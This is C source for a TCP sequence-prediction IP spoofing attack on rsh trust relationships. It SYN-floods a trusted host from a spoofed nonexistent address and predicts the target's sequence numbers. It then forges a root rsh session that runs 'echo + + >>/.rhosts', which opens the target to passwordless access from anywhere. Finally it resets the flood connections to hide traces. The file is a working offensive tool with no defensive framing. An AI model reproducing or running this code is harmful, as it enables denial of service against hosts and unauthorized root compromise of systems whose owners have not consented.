/* This code is eleet.. Treat is as such.*/ 
#include <stdio.h>
#include <setjmp.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <netdb.h>
 
#include "ipbpf.h" /* Include ipbpf header */
 
#define BADHOST "16.17.18.19"   
  /* The host to spoof flooding the trusted
   * host's destination port from. This host shouldn't exist, but should have
   * correct routing entries. The important part is so that returned packets
   * go to nowhere.
   */
 
#define NUMSEQUENCE 80 
  /* The number of connections to spoof from BADHOST. I made this big. 
  * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  * mileage may vary
  */
 
#define NUMTESTS 10
  /* How many samples of the sequence numbers do you want to take?
   * I randomly picked 10 and only take the last result. If I wanted to be
   * elegant, I'd do some sort of statistical average. Sequence numbers
   * are generally updated by a fixed number, this attempts to compute
   * this number taking into account average network lag. Fixed sequence
   * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
   * probably others, although I haven't tested them.
   */
 
#define ROUTER "router.EnGarde.com"
  /* The name of your router to the outside world. Spoofed packets need to
   * be sent to it's ether/fddi address in order to get to the outside world.
   */
 
main(argc, argv)
int argc;
char *argv[];
 
{
struct hostent *he;
u_long trust_addr, targ_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
u_long next_seq, offset;
 
        if (argc!=3) {
                fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
                exit(1);
        }
        if ((he=gethostbyname(argv[1]))==NULL) {
                trust_addr=inet_addr(argv[1]);
                if (trust_addr==(u_long)-1) {
                        fprintf(stderr, "Unknown host %s\n", argv[1]);
                        exit(1);
                }
        } else
                bcopy(he->h_addr, &trust_addr, 4);
 
        if ((he=gethostbyname(argv[2]))==NULL) {
                targ_addr=inet_addr(argv[2]);
                if (targ_addr==(u_long)-1) {
                        fprintf(stderr, "Unknown host %s\n", argv[2]);
                        exit(1);
                }
        } else
                bcopy(he->h_addr, &targ_addr, 4);
 
        printf("Initializing Packet Filter\n");
        use_best(); /* Use the best packet filter available on this system */
        if (init_filter("tcp", NULL)) { 
                /* Initialize the packet filter and read only TCP packets */
                fprintf(stderr, "Can't init Packet Filter\n");
                exit(1);
        }
 
        /* First, send NUMSEQUENCE connection requests from BADHOST to the 
         * trusted host on a trusted port (currently 513). Trusted host will 
         * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
         * be a response ACK. Consequently, trusted host's connection queue will
         * fill and it will no longer respond to any packets to port 513.
         */
 
        printf("[Hosing Trusted Host...]\n");
        if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
                fprintf(stderr, "Couldn't hose %s\n", argv[1]);
                exit(1);
        }
        
        /* Next, do a sampling of the difference in sequence numbers. These packets
         * are NOT spoofed as receiving the reply is required. Consequently, this
         * host can appear in any packet traces.
         */
        printf("[Determining sequence numbers...]\n");
        if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
                fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
                exit(1);
        }
 
        printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);
 
        /* Next, do the actual spoofed connection, now that we know what the next
         * sequence number will be.
         */
        printf("[Spoofing Connection...]\n");
        if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
                fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
                exit(1);
        }
 
        /* Finally, reset all of the half started connections on trusted-host.
         * This will put trusted-host back into it's normal state (and hide
         * the traces that it was used for evil.
         */
        printf("[Cleaning Up Trusted Mess...]\n");
        if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
                fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
                exit(1);
        }
 
        /* fin */
        exit(0);
}
 
hose_trusted(trust_host, trust_addr, seq_num, port_num)
char *trust_host;
u_long trust_addr;
u_long seq_num[NUMSEQUENCE];
u_short port_num[NUMSEQUENCE];
{
        int i;
        u_long start_seq=49358353+getpid(); /* Make this anything you want */
        u_long start_port=600; /* Make this anything you want */
        struct ether_header eh;
        u_long bad_addr;
 
        /* First attempt to find the hardware address of the trusted host */
        if (ether_hostton(trust_host, &eh.ether_dhost)) {
                /* If that fails, find the hardware address of the router */
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;
 
        if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
                fprintf(stderr, "Can't convert BADHOST address.\n");
                return(1);
        }
 
        /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
         * are:
         * sendtcppacket_simple(
         *     struct ether_addr source_hardware_address,
         *     struct ether_addr destination_hardware_address,
         *     u_long            source_ip_address,
         *     u_long            destination_ip_address,
         *     u_short           source_port,
         *     u_short           destination_port,
         *     u_long            sequence_number,
         *     u_long            acknowldegement_number,
         *     int               TCP flags (SYN, RST, ACK, PUSH, FIN),
         *     char *            data,
         *     int               datalen)
         */
        for (i=0;i<NUMSEQUENCE;i++) {
                port_num[i]=start_port++; /* record the ports and sequence numbers */
                seq_num[i]=start_seq++;   /* for later reseting */
 
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        bad_addr, trust_addr,
                        port_num[i], 513, /* 513 is rlogin/rsh port */
                        seq_num, 0,
                        TH_SYN, NULL, 0);
        }
        return(0);
}
 
jmp_buf env;
 
void timedout()
{
        longjmp(env, 1);
}
 
determine_sequence(targ_host, targ_addr, next_seq, offset)
char *targ_host;
u_long targ_addr, *next_seq, *offset;
{
        struct hostent *he;
        struct ether_header eh, eh2;
        struct ip iph;
        struct tcphdr tcph;
        int i;
        u_long start_seq=4138353+getpid(); /* Make this anything you want */
        u_long start_port=600;           /* Make this anything you want */
        u_long my_addr;
        char buf[80];
        u_long prev_seq=0, diff=0;
 
        *offset=0;
        /* first attempt to get the destination's hardware address */
        if (ether_hostton(targ_host, &eh.ether_dhost)) {
                /* If that fails, get the router's hardware address */
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;
 
        gethostname(buf, 79);
        if ((he=gethostbyname(buf))==NULL) {
                fprintf(stderr, "Can't get my hostname!?\n");
                return(1);
        }
        bcopy(he->h_addr, &my_addr, 4);
        for (i=0;i<NUMTESTS;i++) {
                /* Do a setjmp here for timeouts */
                if (setjmp(env)) 
                        fprintf(stderr, "Response Timed out... Resending...\n");
                signal(SIGALRM, timedout);
                alarm(0);
                alarm(10); /* Wait 10 seconds for reply */
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        my_addr, targ_addr,
                        start_port, 514, /* 514 is rsh port */
                        start_seq, 0,
                        TH_SYN, NULL, 0);
                /* Send connection request packet */
 
                for (;;) {
                        /* Wait until the reply is received. Arguments for readpacket
                         * are:
                         * readpacket(
                         *  struct fddi_header  fddi_header,
                         *  struct ether_header ether_header,
                         *  struct ip           ip_header,
                         *  struct udphdr       udp_header,
                         *  struct tcphdr       tcp_header,
                         *  char *              data,
                         *  int                 datalen)
                         *
                         * return type is the type of packet read
                         */
 
                        while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
                                PTYPE_IP_TCP) ;
                        if (ntohs(tcph.th_dport)==start_port &&
                                ntohs(tcph.th_sport)==514) {
                                /* If the ports match, it's probably a reply--this isn't
                                 * definite, but it's a pretty good guess .
                                 * The following attempts to generate a reliable sequence.
                                 * Actually, it's pretty dumb. It tries 10 times, then takes
                                 * the last result. Generally, I've found this to work well
                                 * enough to warrant not writing anything smarter.
                                 */
                                        if (prev_seq) {
                                                diff=tcph.th_seq-prev_seq;
                                                printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
                                                        tcph.th_seq, diff);
                                        } else
                                                diff=0;
                                        if (*offset==0) 
                                                *offset=diff;
                                        else {
                                                if (*offset!=diff)
                                                        printf("Difference in Offset: old=%u, new=%u\n",
                                                                *offset, diff);
                                                *offset=diff;
                                        }
                                        prev_seq=tcph.th_seq;
                                        sendtcppacket_simple(
                                                        &(eh.ether_shost), &(eh.ether_dhost),
                                                        my_addr, targ_addr,
                                                        start_port++, 514, 
                                                        start_seq++, 0,
                                                        TH_RST, NULL, 0);
                                        /* Send a reset to close the connection. Note, this
                                         * automatically will be sent by localhost unless
                                         * a service is listening on whatever port you've
                                         * chosen to start with at the top of this routine.
                                         * so I reset it anyway
                                         */
                                        break; /* out of infinite for */
                                }
                } /* of infinite for */
                alarm(0);
        } /* for i=0 i<numtests... */
        *next_seq=prev_seq+*offset;
        return(0);
}
 
spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
u_long trust_addr, targ_addr, next_seq;
{
        struct ether_header eh;
        char buf[80];
        struct hostent *he;
        u_long my_addr;
        u_short port=513;
        char *string="0\0root\0root\0echo + + >>/.rhosts\0"; 
        int stringlen=32; 
        u_long seq=385773357;
        int i;
 
        /* As before, get the target's hardware address */
        if (ether_hostton(targ_host, &eh.ether_dhost)) {
                /* If that fails, get the router's hardware address */
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;
 
        /* Send a syn with our own sequence number */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq++, 0,
                TH_SYN, NULL, 0);
        usleep(5000); /* wait for the other side to SYN,ACK */
 
        /* Send the ACK for the sequence number we guessed. I've found we guess
         * right about 90% of the time
         */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq, ++next_seq,
                TH_ACK, NULL, 0);
 
        /* Now, send our rsh request with the proper sequence and ACK nubmers */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq, next_seq,
                TH_ACK, string, stringlen);
        seq+=stringlen;
 
        sleep(1); /* Wait for it to be received, ACKd, and processed */
        /* Send a fin with the our new sequence number and their sequence number */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq, next_seq,
                TH_FIN, NULL, 0);
 
        for (i=1;i<4;i++) { /* Send a bunch of ACKs */
                /* If we screwed up the guessing the correct sequence number the remote
                 * host is using, guess a whole bunch more just to be sure. We could
                 * probably reset the connection, but it's better to have the
                 * net software hang waiting for a proper FIN/ACK than have the
                 * application that we've spoofed into running exit because we
                 * reset the connection.
                 */
                sleep(2);
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        trust_addr, targ_addr,
                        port, 514,
                        seq+1, next_seq+i,
                        TH_ACK, NULL, 0);
        }
        usleep(50000); /* Finally, send a RST */
        /* Now, if we're really screwed, and ~8 seconds later  we haven't guessed
         * the right sequence number, just reset the connection. Hopefully by now
         * the application has done it's job, so resetting shouldn't cause any
         * problems.
         */
        sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                trust_addr, targ_addr,
                port, 514,
                seq+1, next_seq+4,
                TH_RST, NULL, 0);
 
        return(0);
}
 
reset_trusted(trust_host, trust_addr, seq_num, port_num)
u_long trust_addr;
u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
{
        struct ether_header eh;
        u_long bad_addr;
        int i;
 
        if (ether_hostton(trust_host, &eh.ether_dhost)) {
                if (ether_hostton(ROUTER, &eh.ether_dhost)) {
                        fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
                        return(1);
                }
        }
        eh.ether_type=ETHERTYPE_IP;
 
        if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
                fprintf(stderr, "Can't convert BADHOST address.\n");
                return(1);
        }
 
        /* Reset all of the connections we started before */
        for (i=0;i<NUMSEQUENCE;i++) {
                sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
                        bad_addr, trust_addr,
                        port_num[i], 513,
                        seq_num[i], 0,
                        TH_RST, NULL, 0);
        }
        return(0);
}
